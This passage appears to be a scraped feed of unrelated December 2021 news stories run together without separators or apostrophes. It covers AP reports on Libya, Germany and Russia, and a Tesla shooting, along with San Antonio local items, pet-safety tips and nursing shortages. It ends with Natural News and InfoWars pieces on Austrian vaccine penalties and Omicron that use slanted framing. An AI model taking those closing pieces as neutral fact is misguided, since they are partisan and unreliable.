seen as dismissive but have also been circulated out of context. Democrats moved to strike Perrys comments from the record as violating House rules. Boebert did not speak during the debate. Rep. Jan Schakowsky, D-Ill., co-sponsor of the anti-Islamophobia bill, said of Omar: She has been subjected to relentless attacks and horrifying threats not just from her fellow Americans, but even within the halls of Congress. And enough is enough. By LISA MASCARO AP Congressional Correspondent Libyas election faces uncertainty amid towering challenges View Photo CAIRO (AP) Libyas presidential election, meant to help unify the nation after a decade of civil war, is supposed to take place in just over a week, but calls are mounting for a delay. Either scenario holding the vote on time or postponing it could turn into a destabilizing setback. The vote, scheduled for Dec. 24, is to choose Libyas first president since the ouster and killing of longtime dictator Moammar Gadhafi more than a decade ago. For nearly a year, the election has been the lynchpin of international efforts to bring peace to the oil-rich North African nation, and supporters fear a dangerous void if it is not held on schedule. But critics warn that going ahead with the vote now could throw the country into new violence. They say Libya remains too bitterly divided among armed factions that are likely to reject any victory by rivals in the election. The presence of some of Libyas most polarizing figures in the race including one of Gadhafis sons only makes it more explosive. Nearly 100 people have announced their candidacies, but the election commission has still not announced a final list of candidates because of legal disputes. It should have announced the list earlier this month. The rules governing the election are also in dispute, with western Libya politicians accusing the east-based parliament of adopting them without consultations. Libya plunged into chaos after Gadhafis death during a 2011 uprising backed by a U.S.-led NATO military campaign. Control splintered among a myriad of armed militias. For years, the country was split between rival administrations in the east and the west, each backed by militias and foreign governments. The current political process emerged last year after the latest round of brutal fighting. In April 2019, the eastern-based military commander Khalifa Hifter launched an offensive aimed at capturing the capital, Tripoli, and bringing down the U.N.-recognized government based there. Hifter was backed by Russia, Egypt and the United Arab Emirates. Turkey and Qatar responded by stepping up support for pro-Tripoli militias, supplying them with advanced weapons and providing troops and Syrian mercenaries. After 14 months of fighting, Hifters offensive collapsed. After a U.N.-brokered cease-fire in October 2020, a grouping of Libyan factions called the Political Forum drew up a road map that led to the creation of an interim government to run the country until the Dec. 24 election. Those calling for a delay in the election say the mistrust between east and west remains too deep and volatile. The interim government has not been able to unify Libyas institutions, particularly the military, dismantle militias or ensure the exit of foreign mercenaries and fighters, said one U.N. official. These issues should have been settled before going to elections. They need more time and effort to be resolved, he said, speaking on condition of anonymity because he was not authorized to talk to the press. Tarek Mitri, a former U.N. envoy for Libya, warned that without unified military forces, the election poses a threat to peace. How can you win the argument in a democratic election when guns are loaded to the hilt on both sides? he said. In a last-minute effort to save the elections, U.N. Secretary-General Antonio Guterres named American diplomat Stephanie Williams, who led the talks resulting in the October 2020 cease-fire deal, as his special adviser on Libya. Williams met with Libyan officials in Tripoli on Sunday. She called for all sides to respect the overwhelming demand of the Libyan people to elect their representatives through a free, fair and credible election. She did not mention the Dec. 24 dateline in her public comments. The United States and some others in the international community want the vote to go ahead. As he stepped down on Dec. 8, outgoing U.N. envoy Jan Kubis said the election must take place on schedule, calling it a critically important step that opens doors to future solutions. The polarization around the election only grew hotter after both Hifter and Seif al-Islam Gadhafi, the son and one-time heir apparent of the longtime dictator, announced their candidacies. Hifter, touted in the east as a hero, is hated by many in the west of the country. The entire western region will fight Hifter he will never rule Libya, Islamist Khalid al-Mishri, head of the Tripoli-based Supreme Council of State, said in televised comments last month. Seif al-Islams bid raised cries of an attempted return to the days of his father. Those who believe in the possibility of Libyas returning to the era of dictatorship after all these sacrifices are delusional, Abdel-Rahman el-Swahili, a lawmaker from Misrata, the western city that was one of the leading forces in the rebellion against the elder Gadhafi. The prime minister of the interim government, Abdul Hamid Dbeibah, also caused an uproar when he announced his bid to enter the race. When he took his post, he had vowed not to run in the election. Many Libyans are skeptical. All (the factions) say publicly they want elections, but in in fact, all worked against it, said Ramadan al-Zawi, a 29-year-old teacher. We are deceiving ourselves when we talk about elections while we are still in such an unchanged situation since 2011. By SAMY MAGDY Associated Press FREMONT, Calif. (AP) A worker at a Tesla factory in California was arrested on a homicide warrant after a co-worker was fatally shot after a shift, police said. The male victim, whose name was not immediately released, was pronounced dead Monday afternoon in a parking lot at Teslas facility in the San Francisco Bay Area city of Fremont. Several expended .223-caliber rifle casings were found nearby, the Fremont Police Department said in a statement. Within several hours, detectives developed leads on a potential suspect who also worked with the victim, the statement said. Detectives learned that the victim and suspect had been arguing earlier in the day, and that the suspect had suddenly walked off the job. Anthony Solima, 29, was arrested that night in Milpitas after detectives obtained arrest and search warrants. Police said a loaded .223-caliber rifle with no serial number was found in Solimas vehicle along with an expended casing. It was not immediately known if Solima had a lawyer who could speak on his behalf. Online Alameda County booking records showed that Solima was being held without bail at the Santa Rita Jail and was scheduled for a court arraignment on Thursday. BERLIN (AP) Germany announced Wednesday it is expelling two Russian diplomats after a German court concluded that Moscow was behind the killing of a Chechen man in Berlin two years ago. Foreign Minister Annalena Baerbock called the state-ordered killing a grave breach of German law and the sovereignty of the Federal Republic of Germany. Russia's ambassador in Berlin was summoned to discuss the court's finding and informed of the diplomats' expulsion, she said. The 2019 brazen daylight killing of Zelimkhan Tornike Khangoshvili, a 40-year-old Georgian citizen of Chechen ethnicity, sparked outrage in Berlin and prompted the German government to expel two other Russian diplomats at the time a move Russia swiftly reciprocated. The two diplomats being expelled now are linked to Russian intelligence agencies, according to Associated Press sources. Judges at Berlins regional court on Wednesday convicted 56-year-old Vadim Krasikov of the killing, but said he had acted on the orders of Russian federal authorities, who provided him with a false identity, a fake passport and the resources to carry out the hit near Berlin's Kleiner Tiergarten park on Aug. 23, 2019. The central government of the Russian Federation was the author of this crime, presiding judge Olaf Arnoldi said, labeling the killing state terrorism. Baerbock said during a call Tuesday with her Russian counterpart, Sergey Lavrov, she had made clear that Germany wants an open and honest exchange with Russia, and that this should happen on the basis of international law and mutual respect. It is clear that acts such as the Tiergarten murder weigh heavily on this relationship, she said. The German government will do everything necessary to ensure that security in our country and the respect for our laws is ensured. After Wednesday's verdict, Russias ambassador in Berlin issued a statement rejecting allegations of Russian involvement in the killing. We consider the verdict an unobjective, politically motivated decision that seriously aggravates already complicated Russian-German relations, Ambassador Sergei Nechayev said. He called the verdict an unfriendly act that wont go unanswered." The absurd notion about Russias involvement in the wrongdoing during the entire course of the trial was being methodically imposed on the public ... but wasnt in the end proved with convincing evidence, Nechayev said. During an oral summary of the court's findings that lasted almost two hours, Arnoldi said he and four fellow judges had reviewed a wealth of evidence during the 14-month trial, including 47 witness testimonies and material provided by a dozen countries, along with very limited answers from the Russian Federation. The court found Krasikov guilty of murder and sentenced him to life imprisonment. Defense lawyers had asked the court to acquit their client, who claimed a case of mistaken identity. The judges said Krasikov bore particularly grave responsibility for the slaying, meaning he wont be entitled to the automatic parole after 15 years that is customary in Germany. Arnoldi said it was important to note the victims involvement in fighting against Russian forces in Chechnya from 2001 onward. In 2004, Khangoshvili led a group of fighters who attacked a police station in Russia, and civilians were killed along with officers. There is no doubt that Khangoshvili bears responsibility for peoples deaths, the judge said, adding later that Russian authorities had likely sought revenge and retribution for his actions. Asked about the case in December 2019, Russian President Vladimir Putin described the victim as a terrorist and murderer. Khangoshvilis family, which under German law was allowed to take part in the trial as co-plaintiffs, accused Russia last week of trying to send a message to its political enemies by killing him. Khangoshvili survived an earlier assassination attempt in Georgia before moving to Ukraine and then to Berlin in 2016, where he applied for asylum. German authorities denied Khangoshvilis asylum request, and an appeal was rejected in 2018 on the grounds that he didnt face political persecution in his home country. This later proved to be obviously wrong, Arnoldi said, adding there was no evidence that Khangoshvili was politically active in Germany. The German judges said that overwhelming evidence reviewed over dozens of hearings left no doubt that Krasikov had carried out the killing just a few hundred meters (yards) from the courthouse. Krasikov a twice-married father of three had no previous convictions, Arnoldi said, but official records showed he had been sought by Russian authorities over the killing of a businessman in Moscow in 2013. The case was dropped in 2015. Evidence reviewed by the court, including material unearthed by the investigative news site Bellingcat, showed that Krasikov had been employed by a Russian security agency and was likely asked to carry out the hit in 2019, Arnoldi said. A month before the killing, Russian authorities issued Krasikov a fake passport under the alias Vadim Sokolov that he used to travel to Berlin, where he shot the victim repeatedly from behind with a silencer-fitted handgun. Witnesses saw the suspect throw a bike, a gun and a long, dark wig into the Spree River near the scene and alerted police, who quickly arrested him before he could make off on an electric scooter. The court concluded that the killing wouldnt have been possible without unidentified helpers in Berlin, that Moscow had a motive for targeting the victim, and that Russian law permits the killing of alleged terrorists, including abroad, if authorized by the president. If a business card belonging to a member of the Russian federal government had been found at the scene of the crime, it couldnt have been more damning, Arnoldi said. The ruling, which can be appealed, marks a new low point in Germany-Russia relations that are already fraught over Ukraine, Russian cyberattacks and Berlin's support for Kremlin critic Alexei Navalny. We are seeing that Russia views Germany as an adversary and doesn't seem interested in engagement, said Stefan Meister, a Russia expert at the German Council on Foreign Relations think tank in Berlin. German Chancellor Olaf Scholz's new government is still trying to find its foreign policy footing with Moscow, but the verdict and the growing tensions over Ukraine could increase domestic pressure for Germany to reconsider its support for the Nord Stream 2 pipeline that is to bring gas from Russia straight to Germany, bypassing Ukraine, said Meister. ___ Daria Litvinova in Moscow contributed to this report. During the holidays, pets are exposed to more hazards than usual, according to Veterinarians.org, a website that releases an annual report on holiday pet safety with insight from veterinarians around the country. To create the 2021 report, a team at Veterianarians.org looked at Google Trends data over five years to show that there's traditionally an uptick in Google searches for an ER vet during the last two weeks of December. From Dec. 15, 2020, to Jan. 2, 2021, Google searches for ER vet were most popular in the state of Utah, where searches were three times more popular than in the next leading state. Other states where Google searches for ER vet were most popular include Colorado, Florida, Ohio, Massachusetts, Georgia, Pennsylvania and California. "Given the increase in Google searches for emergency veterinarians during the holiday season, the issue is one that requires increased awareness," the report reads. "While the dangers to which pets may be exposed during the holiday season are many, with proper education, families can keep their companion animals safe while still including them in holiday traditions." Discover which holiday treats and traditions are safe for pets, according to the report. The most common holiday hazards for pets include toxic plants, anti-freeze, rock salt, wired lights, broken ornaments and toxic foods. For instance, Christmas trees often attract the attention of dogs and cats. If a tree is not securely anchored, it can potentially fall onto and injure an animal. Tree water also poses a danger, as bacteria are known to grow and thrive in sitting water, which may cause gastrointestinal upset in an animal if ingested, as can any added Christmas tree fertilizer. Pet owners can fix the issue by securing a Christmas tree to a wall or ceiling and blocking the tree off with a playpen, baby gate, or another barrier to keep pets safe while additionally covering the tree stand with aluminum foil to discourage pets from drinking from it. The American Society for the Prevention of Cruelty to Animals receives over a quarter of a million cases of potential animal poisonings per year and plants are the eighth-most reported pet toxin, accounting for 40% of all calls, per the report. Seasonal plants such as mistletoe, holly, lilies, azaleas, evergreens and poinsettias are all toxic to animals. Ingestion of such plants can cause nausea, vomiting, diarrhea and in some cases, even cardiovascular issues. Cats in particular are especially vulnerable to lilies, which can cause kidney failure if ingested. In a home filled with pets, artificial plants are the safest option when it comes to holiday decor, the report determines. With the holidays comes snow and ice for many. Though the removal of the white stuff is necessary, the report suggests pet owners opt for a brand of anti-freeze or ice melt that omits ethylene glycol and labels itself as non-toxic. As for rock salt, this commonly used ice melt is an irritant to paw pads. If an animal licks irritated paws as a result of walking on rock salt, ingesting the chemical can cause vomiting. Ice melts with a propylene glycol base are a safer alternative for households with animals. Ornaments are another danger to pets. Shards of broken ornaments can cut a pets mouth and tear the animals digestive tract. Pet owners should always hang breakable ornaments out of a pets reach or opt for pet-safe, non-toxic and non-edible ornaments to decorate the Christmas tree. Curious cats are especially drawn to tinsel and other types of ribbons, but if ingested, these items can obstruct a cats digestive tract, which can lead to vomiting and severe dehydration. In many cases, surgery may be the only means of removing the obstruction. Additionally, sharing human foods like chocolate and other foods containing xylitol (baked goods, peanut butter, candy, and pudding among them) is dangerous to pets. Even small amounts of xylitol can cause liver failure and even death in dogs and cats. Read the full report here. Gaylord Specialty Healthcare, a nonprofit rehabilitation-focused healthcare system headquartered in Wallingford, presented its quarterly DAISY Award for Extraordinary Nurses to Makayla Hugo, BSN, RN. The Wallingford resident was nominated by her colleagues who described her as always positive, even under the most challenging circumstances. Makayla treats her patients like family, wrote her supervisor Nicole Morrill, MSN, BSN, RN, Lyman 1 nurse manager. Her compassionate care and desire to motivate others coupled with her desire to learn and challenge herself is admirable. Makayla welcomes more responsibility, leadership experience and opportunities to share her knowledge, she said. She plays an important role in our Shared Governance Nursing Professional Council and her ideas have sparked incredible changes within our department. Hugo began her Gaylord career in 2015 as a mobility technician and, later, patient care technician. She explained that working side-by-side with Gaylords nursing team inspired her to pursue her nursing degree. Gaylord is a rewarding place to work because patients come in at their rock bottom after a catastrophic illness or injury. I have the opportunity to contribute to their healing process so that they are able to participate in the therapies that will return them to their families and their lives, she said. To see our patients progress from admission to discharge motivates me to be the best nurse I can be. About the DAISY Award: The international award was created by the DAISY (Diseases Attacking the Immune System) Foundation in memory of J. Patrick Barnes who died from an autoimmune disease in 1999. Appreciative of the clinical skills, caring, and compassion exhibited by each of the nurses who cared for Patrick, the Barnes family created the international award and foundation to say thank you to nurses throughout the world. About Gaylord Specialty Healthcare: Gaylord Specialty Healthcare is a rehabilitation-focused, nonprofit health system headquartered in Wallingford, Connecticut, that provides inpatient and outpatient care for people at every point in their journey from illness or injury to maximum recovery. Gaylord Specialty Healthcare is anchored by Gaylord Hospital, a long-term acute care hospital, and includes Gaylord Outpatient Services and Gaylord Physical Therapy for patients who require diagnosis and treatment on an outpatient basis. Together, these entities deliver a complete continuum of rehab care driven by technology, research, clinical experience, and human compassion. For more information visit www.gaylord.org. Hartford HealthCare and CarePartners of Connecticut have joined forces on a new program focused on celebrating seniors and their resiliency during the ongoing coronavirus pandemic. The awards program, A Celebration of Seniors, honored three Connecticut residents for their work in the community over the last year. The pandemic has and continues to leave an indelible mark on our communities, and in particular older generations, who have been the hardest hit by this terrible virus, said Marla Pantano, president of CarePartners of Connecticut. Despite this, these three honorees have shown us what is possible, even in the face of adversity. They are beacons of hope in a changing world and serve as role models for all around them. The awards program focused on three areas: Creativity: Develops and works on unique talents to make his or her life more fulfilling, and joyfully shares this with others. Volunteerism: Unselfishly gives his or her own time to improve the quality of life of others, through individual or group activity. Fitness: Is a role model for health, vitality and wellbeing- overcoming any barriers posed by age or physical condition. This years honorees include: Creativity: Diane Soares, Wallingford Senior Center Soares has been a creative member in her community since 2017. She is founder and instructor of A.G.E. (Aging Gracefully Essentials), T.A.B.s (Therapeutic Art Boards) and Crafters Corner. A.G.E. meets monthly and helps address the aging needs of Connecticut residents on topics such as sleep, nutrition, exercise and more. T.A.B.s members assemble clip art and scraps to create collages. Crafters Corner meets weekly, working on a variety of projects and crafts. Throughout all of her programs, Soares encourages a safe, non-judgmental environment along with mindfulness and meditation. Fitness: LeAnn Kroll, Southington Calendar House During the height of the pandemic, Kroll offered virtual exercise classes. Kroll began teaching exercise classes at Southington Calendar House before she was eligible to join herself. She has been a fitness instructor since 2014 and a member of the fitness community since January 2020. Kroll is dedicated to her role, and willing to do all things necessary to make sure the community is well served. Volunteerism: Elizabeth Thomas, Windsor Senior Center Thomas has volunteered at the Windsor Senior Center since the fall of 2017. She is the instructor for Windsor Senior Centers SCRIBE Writing Workshop. When the pandemic hit, she began offering the class via Zoom. Aside from her volunteer work at the Windsor Senior Center, Thomas is also an arts educator to students of all ages. She has taught in Hartford schools and is a master teaching artist for the Connecticut Commission of the Arts and the Bushnell Center for Performing Arts. Her students have participated in the Senior Center's Variety Show and have held special readings during the holidays. She is the author of two poetry books: "Full Circle" and "From the Front of the Classroom." More information about the winners and the nominees can be found on the Hartford HealthCare Senior Services Celebration of Seniors page and Facebook. For more information contact Leaja Johnson at 860-406-6864. Ben Margot/Associated Press (Bloomberg) -- A Tesla Inc. employee was allegedly killed in the parking lot of the electric carmakers Fremont factory following an argument earlier in the day with a coworker there, the Fremont Police Department said in a Dec. 13 statement. The victim had just finished a shift at the Tesla plant when he was shot in the parking lot as he left, according to the police report. Detectives learned that a potential suspect also worked at the plant and that person had walked off the job following an argument with the victim earlier in the day. Madalyn Mendoza, MySA.com If the old "When in Rome, do as the Romans do" saying underwent a San Antonio spin, SoHill Cafe might have the answer with a new barbacoa ravioli dish. San Antonio's affinity for the beefy cheek meat is nothing new the city hosts a full-blown festival dedicated to the Sunday delicacy but the Alamo City-twist on the Italian comfort food is part of the beloved eatery's comeback after a seven-month hiatus. I visited the Beacon Hill Italian restaurant on its second day of operation since reopening. After looking through the menu at home, I knew what I wanted: the barbacoa ravioli served with sage cream and topped with pecorino cheese. A familiar face for the past four years is signing off at KENS 5. Aaron Wright announced on Twitter Tuesday that his last day at San Antonio's CBS affiliate is December 15. Wednesday will be his last day anchoring the evening newscasts. He also took a moment to share pictures from his time at the TV station, saying hes proud of his team and their accomplishments. Wright joined KENS 5 in January 2018 as an anchor and multimedia journalist. You may have seen him on the anchor desk at noon during the weekdays as well as reporting from the field in the afternoons. "When I started here, I was doing the noon show and then reporting so I got to anchor and then go out and report," Wright says. "You really get to see the best San Antonio has to offer, really experience the community and what makes people happy, and to be a small part of that, I'm grateful." He joined KENS 5 from WBIR in Knoxville, Tennessee, where he served as an anchor and reporter. Wright is a Spartanburg, South Carolina native and attended Hampton University in Hampton, Virginia, according to his bio on KENS 5. Courtesy of Aaron Wright Wright says San Antonio is where he became a husband and father. He shares two daughters with his wife Katie. Although its unclear where Wright will go next, we wish him all the best in his next adventure. "Thank you. I'm not a native Texan, and people let me into their homes every night and were really, really welcoming," Wright says. "There's kindness here, a care about a community here. It's really, really special." William Luther /Staff While Capitol Hill awaits the Senate decision on the $1.7 trillion spending plan better known as the Build Back Better bill, San Antonio congressman Joaquin Castro is reminding internet onlookers that the early education portion of the legislation has already been implemented in his city and can be a "model" for the national version if approved. Castro, who is also co-chair of the Congressional Pre-K Caucus, called Biden's vision for universal early education "bold" in a Tuesday, December 14 tweet. But, it's not unprecedented. The congressman's brother Julian Castro convinced San Antonio voters to invest in Pre-K 4 SA during his time as mayor. San Antonio voters approved a one-eighth-cent sales tax increase to fund the free local pre-kindergarten program in November 2012. The San Antonio River Walk Association San Antonio's Ford Fiesta de las Luminarias is ending early due to the rainy weather expected in San Antonio this weekend, according to a post from the San Antonio River Walk Association. The gorgeous tradition was slated to run weekends from December 3-19. The centuries-old tradition guides the River Walk with more than 2,000 luminarias at night during the holiday season. Luminarias are a traditional Mexican Christmas lantern originally consisting of a candle set in sand inside a small bag. It's Wednesday, San Antonio. Local elections continue to heat up as the brother of the former Bexar County district attorney runs for the same seat. Here's what you need to know. Marc LaHood, brother of former district attorney Nico LaHood, filed to run for the same position last week. This sets him up to run against Meredith Chacon, a former prosecutor and local defense attorney, in the March 1 Republican primary, the Express-News reports. Marc LaHood, 43, is a partner at the family firm LaHood Law, which specializes in criminal defense, family law, and personal injury cases. Nico LaHood was district attorney from 2015 to 2018. In his role, Nico LaHood was criticized for not reporting his business interests with Gary Cain, who was convicted with former state Sen. Carlos Uresti for defrauding investors. Whoever wins the March 1 Republican primary election will face incumbent Joe Gonzales, who replaced Nico LaHood. Here's some other news you may have missed. Luminarias on the River Walk canceled Organizers made the executive decision to cancel this weekend's Ford Fiesta Luminarias event, a favorite on the River Walk during the holiday season. Read more here. What is it like living in a Christmas town? Have you ever driven through Windcrest during the holidays and wondered what it's like to live in a Christmas town? Madalyn Mendoza talked to one of its residents to find out. Read more here. Justin Bieber's favorite doughnut spot opening in Texas If anyone in Texas was hoping to get their hands on Justin Bieber-inspired doughnut holes and merch from Canada-based Tim Hortons, they won't have to wait much longer. Read more here. Here's what it takes to have a Whataburger Christmas tree Ever seen a Christmas tree decorated with Whataburger cups, burger wrappers, and fry cups? This UTSA graduate achieved just that. Here's what it cost. Read more here. Sunday, Dec. 19, marks 20 years since Frodo made his debut on the big screen in "The Fellowship of the Ring" released in 2001. Why does this matter? The Middle Earth franchise is one of the highest-grossing movie franchises of all time, valued at $5.86 billion, CNBC reports, including a trilogy adapted from "The Lord of the Rings" novels and a trilogy adapted from "The Hobbit." J. R. R. Tolkien's fictional storyline has engrossed viewers for two decades and appears to still be valuable with Amazon Studios producing a television series to release in 2022. And, there are plenty of reasons for this high valuation, according to Infobloom: There were 19,000 costumes created for "The Fellowship of the Ring." Sean Astin put on a whopping 30 pounds for his role as Sam. Orlando Bloom performed many of his stunts. He broke a rib at one point during filming. "The Fellowship of the Ring" was nominated for 152 awards and won 98 of them, including Oscars, Grammy Awards and Golden Globes. In celebration of the first film's anniversary, Infobloom looked at Google Trends search data for 15 "Lord of the Rings" characters to see which was each state's favorite. You can see the results below. Graphic provided/InfoBloom Gollum took the top spot in Texas, tying with Frodo for the most popular character in the nation, each winning more than 12 states. Graphic provided/InfoBloom Note: Infobloom analyzed data from November 2020 to November 2021. Jerry Lara, Staff / San Antonio Express-News MEXICO CITY (AP) Mexico and the United States began work Tuesday on the new framework that will govern their security relationship going forward and replaces the Merida Initiative, which had focused on building up Mexicos capabilities to battle the drug cartels. The U.S.-Mexico Bicentennial Framework for Security, Public Health and Safe Communities seeks to move beyond the Merida Initiative. Meteorologists with the San Antonio-Austin National Weather Service office are saying the climate conditions are similar to this year's winter freeze, but say the possibility of another event like February's Winter Storm Uri is rare. That said, NWS isn't ruling it out. In fact, NWS meteorologist Keith White said during a 2022 winter outlook webinar on Monday, December 14, that the chance of a similar freeze is around 1 to 3 percent. "Of course we cannot rule out winter weather happening," White adds. Like earlier this year, the region is still under the effects of the La Nina weather pattern, which lead to a warmer, drier winter for 2021 and will likely do the same in 2022. (La Nina is also the reason San Antonio missed its usual first freeze window.) Here's what else White had to say about the upcoming winter. Courtesy of National Weather Service If the conditions are right San Antonio's snowfall events, including the most recent, usually occur amid a La Nina weather pattern. While La Nina and El Nino are important, arctic oscillation plays a factor. Arctic oscillation is when atmospheric pressure is lower (positive) or higher (negative) over the Arctic region. A negative arctic oscillation allows a breakdown of the jet stream that allows arctic air to spill into Texas, which is what White says happened in February. Arctic oscillations are hard to predict, but a negative oscillation doesn't occur frequently. More facts about the February freeze White says San Antonio recorded 6.4 inches of snow over the week of February 14 to February 18. That is the second highest snowfall total since 1985. February's freeze event actually occurred over four winter storms, not just one, White notes. Chances for snow above 1 inch in San Antonio is about 10 percent every year. San Antonio International Airport consecutively recorded temperatures below freezing for four days and 12 hours. Courtesy of National Weather Service Don't bank on the Farmers Almanac In August, Farmer's Almanac managing editor Sandi Duncan told MySA that in 2022, our region is predicted to see a winter storm in late January. As a meteorologist, White says he's not so sure. "Its a little bit disheartening to see so many people buying into these long-range outlooks that are made without really much scientific skill. Theyre really about as good as a coin flip at best," White says. Still, the almanac did predict a weather event similar to Winter Storm Uri... We're still in drought White says the region is in a moderate drought condition, but if the drier weather continues December and January the drought outlook will become progressively worse each week. Rare fossil reveals prehistoric Melbourne was once a paradise for tropical pig-nosed turtles The Conversation Adored and endangered: the complex world of the Japanese eel Bangkok Post (Furzy Mouse). Climate #COVID19 China? Pakistan Wanted Gwadar to Be the Next Singapore. Chinas Role Didnt Help. Foreign Policy Myanmar India Small farmer, big heart, miracle bike Peoples Archive of Rural India The Koreas How armed drones may have helped turn the tide in Ethiopias war Al Jazeera Syraqistan UK/EU The Caribbean Edward Bernays: Propaganda and the U.S.-Backed 1954 Guatemalan Coup Covert Action Magazine Leftist Lula maintains dominant lead in Brazilian election, poll shows Reuters How Taxes Can Support Growth and Reduce Inequality in Latin America and the Caribbean International Monetary Fund. Of all places. New Cold War Biden Administration Supply Chain Rolling blackouts possible in New England this winter, regional grid warns Boston Globe LAffaire Joffrey Epstein Capitol Seizure House Votes to Hold Mark Meadows in Contempt in Defiance of Jan. 6 Probe NECN. Still unclear to me why Merrick Garland is missing in action on all this. Health Care Imperial Collapse Watch Guillotine Watch Dick Moves London Review of Books. Musk. Now do Bezos. Class Warfare Antidote du jour (via): Bonus antidote: Porcupines quills take on various forms, depending on the species, but all are modified hairs coated with thick plates of keratin. This video by Mariette Landman shows what a formidable defense they constitute [video, HD: https://t.co/cRbXLfyZDq] pic.twitter.com/88MyhDTcdi Massimo (@Rainmaker1973) December 11, 2021 See yesterdays Links and Antidote du Jour here. Yves here. As the ranks of nurses are being decimiated by Covid burnout and contagion fears, the US isnt even close to being able to replace them. And you can be sure the same hospital system execs that are refusing to ante up with hardship pay on the assumption that nurses are disposable also believe that of course theyll be able to hire enough down the road because markets. And while it might be possible to augment doctor ranks by hiring more MDs who got their degrees overseas, how many nurses would move relocate abroad, giving up family and friends, to live in an increasingly third-world-y US in a not terribly well paid job? By Rayna M. Letourneau, Assistant Professor of Nursing, University of South Florida. Originally published at The Conversation Despite a national nursing shortage in the United States, over 80,000 qualified applications were not accepted at U.S. nursing schools in 2020, according to the American Association of Colleges of Nursing. This was due primarily to a shortage of nursing professors and a limited number of clinical placements where nursing students get practical job training. Additional constraints include a shortage of experienced practitioners to provide supervision during clinical training, insufficient classroom space and inadequate financial resources. Although the 80,000 may not account for students who apply to multiple nursing schools, it clearly suggests that not all qualified students are able to enroll in nursing school. I am a nurse researcher, professor of nursing and founding director of WIRES, an office at the University of South Florida that focuses on the well-being of the health care workforce. Ive found that the nursing shortage is a complex issue that involves many factors but chief among them is the shortage of faculty to train future nurses. Growing Demand for Nurses There are not enough new nurses entering the U.S. health care system each year to meet the countrys growing demand. This can have serious consequences for patient safety and quality of care. Nationally, the number of jobs for registered nurses is projected to increase by 9% between 2020 and 2030. Some states project an even higher demand for registered nurses because of their population and their needs. Florida, for example, will need to increase its number of registered nurses by 16% over the next decade. The U.S. Bureau of Labor Statistics estimates there will be about 194,500 openings for registered nurses each year over the next decade to meet the demands of the growing population, and also to replace nurses who retire or quit the profession. This means the U.S. will need about 2 million new registered nurses by 2030. In addition to a shortage of registered nurses, there is also a shortage of nurse practitioners. Nurse practitioner is identified as the second fastest-growing occupation in the next decade, after wind turbine technicians, with a projected increase of 52.2%. Nurse practitioners have an advanced scope of practice compared with registered nurses. They must complete additional clinical hours, earn a masters or doctoral degree in nursing, and complete additional certifications to work with specific patient populations. The COVID-19 pandemic has exacerbated the health and wellness problems of the nursing workforce. Despite these problems, student enrollment in nursing schools increased in 2020. The pandemic has not turned people away from wanting to pursue a career in nursing. However, without enough nursing faculty and clinical sites, there will not be enough new nurses to meet the health care demands of the nation. Need for More Nursing Faculty Currently, the national nurse faculty vacancy rate is 6.5%. This is slightly improved from the 2019 rate of 7.2%. More than half of all nursing schools report vacant full-time faculty positions. The highest need is in nursing programs in Western and Southern states. Nursing education in clinical settings requires smaller student-to-faculty ratios than many other professions in order to maintain the safety of patients, students and faculty members. Regulatory agencies recommend at least one faculty member to no more than 10 students engaged in clinical learning. The faculty shortage is also affected by the fact that many current nursing faculty members are reaching retirement age. The percentage of full-time nursing faculty members aged 60 and older increased from roughly 18% in 2006 to nearly 31% in 2015. The American Association of Colleges of Nursing reports the average ages of doctorally prepared nurse faculty members at the ranks of professor, associate professor and assistant professor were 62.6, 56.9 and 50.9 years, respectively. Another factor that contributes to the nursing faculty shortage, and the most critical issue related to faculty recruitment, is compensation. The salary of a nurse with an advanced degree is much higher in clinical and private sectors than it is in academia. According to a survey by the American Association of Nurse Practitioners, the median salary of a nurse practitioner, across settings and specialties, is $110,000. By contrast, the AACN reported in March 2020 that the average salary for masters-prepared assistant professors in nursing schools was just under $80,000. Fixing the Faculty Shortage Innovative strategies are needed to address the nursing faculty shortage. The Title VIII Nursing Workforce Reauthorization Act of 2019 was a start. The act provides funding for nursing faculty development, scholarships and loan repayment for nurses, and grants for advanced nursing education, nursing diversity initiatives and other priorities. The Build Back Better Act that passed the U.S. House of Representatives in November 2021 includes funding to help nursing schools across the country recruit and retain diverse nursing faculty and enroll and retain nursing students. The act is now before the U.S. Senate. In addition to national strategies, individual states are addressing the shortage at the local level. Maryland, for example, awarded over $29 million in grants to 14 higher education institutions with nursing programs in Maryland to expand and increase the number of qualified nurses. Finally, offering faculty salaries comparable to those in clinical settings may attract more nurses to use their expertise to train and expand the next generation of health care workers. (Natural News) People in Austria who remain unvaccinated could find themselves imprisoned for a year, according to critics of an amendment to an administrative law. (Article by Paul Joseph Watson republished from InfoWars.com) Susanne Furst of the Austrian Freedom Party (FPO), which voted against the amendment, warned that it could be used to punish the unjabbed with much harsher sentences. The amendment raises fines from 726 (617/$818) to 2,000 (1,701/$2,255) and increases prison time for those who refuse to pay from four weeks to up to a year. Given that Austrians who dont get vaccinated by February face fines of up to 7,200 ($8,000) for non-compliance, those who refuse to pay would also face a 12 month jail sentence. The amendment also orders people who are jailed to pay for their own imprisonment. If detention is carried out by the courts, the associated costs shall be recovered by the courts from the obligated party in accordance with the provisions existing for the recovery of the costs of enforcing judicial penalties, it states. Despite Furst protesting that the amendment could be used to further punish the unvaccinated, the measure was approved anyway. At the time it was announced, then Chancellor Alexander Schallenberg vowed to hit the unvaccinated with penalties if they still refused to get the jab, while asserting that they should suffer. Given that some technocrats are asserting that the vaccination program will never end, the initial one year prison sentence for vaccine refusniks could be just the beginning. Read more at: InfoWars.com (Natural News) Researchers from Hong Kong found that the BNT162b2 Wuhan coronavirus (COVID-19) vaccine is less effective against the B11529 omicron strain. They found that the new variant reduced the mRNA vaccine-induced antibodies by at least 32-fold. Scientists from the University of Hong Kong (HKU) and Chinese University of Hong Kong (CUHK) examined the BNT162b2 mRNA vaccine developed by German company BioNTech. The firm partnered with mainland Chinese drug manufacturer Fosun Pharma to distribute the mRNA shot in China and surrounding areas including Hong Kong, Macau and Taiwan. BioNTech partnered with Pfizer to handle vaccine distribution outside of China. The researchers from the two universities published their findings about the vaccine on Dec. 12. They found that the omicron variant reduced the vaccine-induced antibodies by at least 32 times. They discovered this issue based on blood analysis from 10 people who got the two-dose vaccine in November 2021. The neutralizing antibodies induced by the mRNA vaccine had dropped from 320 units to a mere 10 units for the omicron strain. At least 25 units are needed to confer protection against infection. HKU virologist Malik Peiris said: We can see most individuals had high level of virus-killing activity against the original SARS-CoV-2 [strain], but this ability was markedly reduced by 32-fold or more against the omicron variant. The researchers pointed out that additional research is needed to know more about how the mutations on the omicron variants spike protein which the virus uses to enter human cells affected its sensitivity to vaccines. The B11529 strain reportedly 